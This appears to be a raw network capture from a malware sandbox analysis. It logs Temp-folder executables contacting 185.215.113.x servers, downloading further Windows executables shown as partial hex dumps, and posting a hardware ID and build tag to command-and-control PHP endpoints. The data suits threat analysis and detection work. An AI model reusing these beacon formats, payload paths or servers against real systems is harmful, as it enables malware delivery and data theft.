Nov 23, 2024 20:23:26.737909079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:26 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Sat, 23 Nov 2024 18:36:26 GMT Connection: keep-alive ETag: "674220aa-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a2 20 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPEL Bg"bw@pN@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 23, 2024 20:23:26.738051891 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 20:23:26.738085032 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 20:23:26.738138914 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 20:23:26.738174915 CET	1236	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 20:23:26.738209009 CET	1236	IN	Data Raw: 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 8b 7d 08 8d 45 ff 50 8d 45 f8 c7 45 Data Ascii: huIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M
Nov 23, 2024 20:23:26.738301992 CET	1236	IN	Data Raw: 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 0f 84 72 05 04 00 83 e8 01 0f 84 14 Data Ascii: 99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{lepEE
Nov 23, 2024 20:23:26.738333941 CET	1236	IN	Data Raw: ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 d5 01 00 59 ff 75 08 8b f0 8b ce e8 Data Ascii: tO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4}}
Nov 23, 2024 20:23:26.738409996 CET	776	IN	Data Raw: a3 94 13 4d 00 ff 15 20 c7 49 00 a3 08 19 4d 00 8d 45 f4 50 c7 45 f4 08 00 00 00 c7 45 f8 3b 01 00 00 ff 15 ac c0 49 00 6a 01 6a 01 6a 21 6a 10 6a 10 ff 15 b0 c0 49 00 68 a9 00 00 00 ff 35 04 19 4d 00 a3 5c 19 4d 00 ff 15 34 c7 49 00 50 6a ff ff Data Ascii: M IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=_^UX`dMVuWG~"uQVqYPVw
Nov 23, 2024 20:23:26.738455057 CET	1236	IN	Data Raw: e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 8b 41 18 8b Data Ascii: f@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLH
Nov 23, 2024 20:23:26.866733074 CET	1236	IN	Data Raw: 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 00 00 80 ff Data Ascii: T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0jX;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49810	185.215.113.206	80	3020	C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:26.805780888 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 20:23:28.415735960 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 20:23:28.418437958 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 46 43 32 41 41 45 32 41 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="hwid"05FC2AAE2A294266498721------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build"mars------DAAECAFHDBGIDGCAEHJE--
Nov 23, 2024 20:23:28.965492010 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49822	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:30.963474989 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008508001&unit=246122658369
Nov 23, 2024 20:23:32.303462029 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49827	185.215.113.16	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:32.863706112 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 20:23:34.223984957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:33 GMT Content-Type: application/octet-stream Content-Length: 2801152 Last-Modified: Sat, 23 Nov 2024 18:36:53 GMT Connection: keep-alive ETag: "674220c5-2abe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+c:+`Ui` @ @.rsrc`2@.idata 8@bqkfoemv`^:@wtifjdmh +@.taggant@ +"@
Nov 23, 2024 20:23:34.224087954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224107027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224118948 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224132061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224172115 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224183083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:34.224200964 CET	1236	IN	Data Raw: fe 36 d6 f4 06 d7 d4 b1 9e ea d6 39 8e b4 93 07 ea 8b b9 d7 c0 ed 84 97 7a 24 eb b6 58 8d 18 e1 a5 a2 82 50 64 af 59 14 f6 67 f3 01 35 f9 26 b4 99 11 f7 07 dd 20 2a bb 9f ef 2f bd 6f 29 6e e2 74 38 c7 f7 06 1b e3 1f ab 14 f6 c1 39 1a 30 64 cc 3f Data Ascii: 69z$XPdYg5& */o)nt890d?.:oV0{"@3(6qD2Y<-+Ca/SsN+!G8x/Ow/s`%{;`J:8P8mys
Nov 23, 2024 20:23:34.224212885 CET	1236	IN	Data Raw: 1b 33 c9 21 53 33 cd d5 e9 4a 76 fe 87 02 cb 86 e0 0a c7 fd 0e ed e4 d6 d0 9b f2 f1 72 e2 e2 f4 e0 0a 9d d7 fe c2 86 f2 01 2d 63 76 72 33 89 f7 e0 d6 ce 49 0f de be 03 c5 97 a4 3d cb 02 a5 de 10 ff 7c 5a 87 b6 db 6f 72 a2 fa f4 20 0f 5d 66 18 7a Data Ascii: 3!S3Jvr-cvr3I=\|Zor ]fzJL4F`3u%~pynQTM5!'NT:y=\gD46h@b}qMO3'M.Z0s4s+Ok<.0
Nov 23, 2024 20:23:34.224288940 CET	1236	IN	Data Raw: b2 18 c6 ee bc fa c8 e2 ad bb 1e f4 95 3e d9 80 a3 2d cf 49 e3 23 ed 8e 86 cc 99 16 c4 5a c3 93 ac fb 9a 44 a5 b7 ec b0 f0 d9 43 e3 80 10 a2 9e b0 22 bd 27 93 bd 5f 12 71 32 ab 15 c0 cd be 5a 18 23 b5 06 6f d9 92 2c a2 68 82 f5 0a 83 e7 65 5d 3c Data Ascii: >-I#ZDC"'_q2Z#o,he]<dT:Q:9K$$3C,f[{hM$#Jg=nG(~A}N(h(S*apJM.g3W23^0I\|nKu0jl"Kn[d
Nov 23, 2024 20:23:34.494411945 CET	1236	IN	Data Raw: 8a db 37 ca 78 0e 28 dd 84 9a 33 b0 2c 2e ef d4 94 23 db 34 95 0e 89 e9 8f 08 35 0e 92 1b 34 05 95 1e 93 2b e0 0f 7f a3 0d 57 25 3f b4 5d cb 86 c9 74 a6 f0 b1 c0 f6 b9 c9 30 df 20 ab cf ba 2b 3b c1 b4 f2 c4 cd 8f c6 60 13 d4 a4 50 c9 b9 32 c1 5a Data Ascii: 7x(3,.#454+W%?]t0 +;`P2Z:5\3{x>mzjgy[y1d%8,g++Sb;zJV<Uo~&^3bm+IlHx )u)OZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49860	185.215.113.43	80	7840	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:41.914333105 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008509001&unit=246122658369
Nov 23, 2024 20:23:43.305524111 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49861	185.215.113.206	80	4956	C:\Users\user\AppData\Local\Temp\1008507001\3c882da37a.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:42.753042936 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 20:23:44.197983027 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 20:23:44.200448036 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 46 43 32 41 41 45 32 41 32 39 34 32 36 36 34 39 38 37 32 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="hwid"05FC2AAE2A294266498721------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="build"mars------IDHDGDHJEGHIDGDHCGCB--
Nov 23, 2024 20:23:44.688466072 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49871	34.107.221.82	80	7060	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:44.036942005 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49870	185.215.113.16	80	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 20:23:44.036964893 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 20:23:45.475634098 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 19:23:45 GMT Content-Type: application/octet-stream Content-Length: 2801152 Last-Modified: Sat, 23 Nov 2024 18:36:55 GMT Connection: keep-alive ETag: "674220c7-2abe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 63 3a 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+c:+`Ui` @ @.rsrc`2@.idata 8@bqkfoemv`^:@wtifjdmh +@.taggant@ +"@
Nov 23, 2024 20:23:45.475678921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475689888 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475743055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475753069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475763083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475775003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 20:23:45.475796938 CET	1236	IN	Data Raw: fe 36 d6 f4 06 d7 d4 b1 9e ea d6 39 8e b4 93 07 ea 8b b9 d7 c0 ed 84 97 7a 24 eb b6 58 8d 18 e1 a5 a2 82 50 64 af 59 14 f6 67 f3 01 35 f9 26 b4 99 11 f7 07 dd 20 2a bb 9f ef 2f bd 6f 29 6e e2 74 38 c7 f7 06 1b e3 1f ab 14 f6 c1 39 1a 30 64 cc 3f Data Ascii: 69z$XPdYg5& */o)nt890d?.:oV0{"@3(6qD2Y<-+Ca/SsN+!G8x/Ow/s`%{;`J:8P8mys
Nov 23, 2024 20:23:45.475805998 CET	1236	IN	Data Raw: 1b 33 c9 21 53 33 cd d5 e9 4a 76 fe 87 02 cb 86 e0 0a c7 fd 0e ed e4 d6 d0 9b f2 f1 72 e2 e2 f4 e0 0a 9d d7 fe c2 86 f2 01 2d 63 76 72 33 89 f7 e0 d6 ce 49 0f de be 03 c5 97 a4 3d cb 02 a5 de 10 ff 7c 5a 87 b6 db 6f 72 a2 fa f4 20 0f 5d 66 18 7a Data Ascii: 3!S3Jvr-cvr3I=\|Zor ]fzJL4F`3u%~pynQTM5!'NT:y=\gD46h@b}qMO3'M.Z0s4s+Ok<.0
